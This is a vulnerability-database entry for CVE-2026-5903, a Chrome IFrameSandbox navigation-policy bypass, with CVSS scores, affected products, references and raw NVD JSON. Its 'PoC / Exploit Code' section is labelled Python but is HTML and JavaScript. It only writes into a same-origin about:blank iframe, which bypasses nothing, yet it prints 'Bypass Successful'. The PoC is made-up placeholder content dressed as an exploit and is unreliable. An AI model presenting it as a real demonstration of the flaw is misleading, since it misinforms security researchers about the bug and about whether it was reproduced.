CVE-2026-5903

Description

Policy bypass in IFrameSandbox in Google Chrome prior to 147.0.7727.55 allowed a remote attacker who convinced a user to engage in specific UI gestures to bypass navigation restrictions via a crafted HTML page. (Chromium security severity: Low)

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE

Google Chrome < 147.0.7727.55

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- PoC for IFrameSandbox Policy Bypass -->
<!-- This PoC demonstrates the concept of bypassing navigation restrictions -->
<!DOCTYPE html>
<html>
<head>
    <title>Chrome IFrameSandbox Bypass PoC</title>
</head>
<body>
    <h3>IFrameSandbox Policy Bypass PoC</h3>
    <p>This page attempts to bypass IFrameSandbox navigation restrictions.</p>
    
    <!-- The crafted iframe with sandbox attributes -->
    <iframe id="exploitFrame" sandbox="allow-scripts allow-forms allow-same-origin" src="about:blank"></iframe>
    
    <script>
        // Simulate the crafted HTML logic to exploit the vulnerability
        const iframe = document.getElementById('exploitFrame');
        
        // Wait for user interaction (simulating specific UI gestures)
        document.body.addEventListener('click', function() {
            
            // Attempt to write content that violates the intended navigation policy
            const doc = iframe.contentDocument || iframe.contentWindow.document;
            doc.open();
            doc.write('<h1>Bypass Successful</h1><script>console.log("Navigation restriction bypassed")<\/script>');
            doc.close();
            
            // In a real scenario, this might involve redirecting to a restricted URL
            console.log("Exploit triggered via UI gesture.");
        });
        
        console.log("Please click the page to simulate the UI gesture.");
    </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-5903
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-5903
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-5903/
[4] VulDB https://vuldb.com/cve/CVE-2026-5903
[5] https://chromereleases.googleblog.com/2026/04/stable-channel-update-for-desktop.html
[6] https://issues.chromium.org/issues/483771899

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-5903", "sourceIdentifier": "[email protected]", "published": "2026-04-08T22:16:30.197", "lastModified": "2026-04-13T21:14:01.307", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Policy bypass in IFrameSandbox in Google Chrome prior to 147.0.7727.55 allowed a remote attacker who convinced a user to engage in specific UI gestures to bypass navigation restrictions via a crafted HTML page. (Chromium security severity: Low)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-693"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:*", "versionEndExcluding": "147.0.7727.55", "matchCriteriaId": "9A68673A-1331-48AF-8860-53064F0AF310"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}, {"vulnerable": false, "criteria": "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*", "matchCriteriaId": "703AF700-7A70-47E2-BC3A-7FD03B3CA9C1"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/04/stable-channel-update-for-desktop.html", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://issues.chromium.org/issues/483771899", "source": "[email protected]", "tags": ["Issue Tracking", "Permissions Required"]}]}}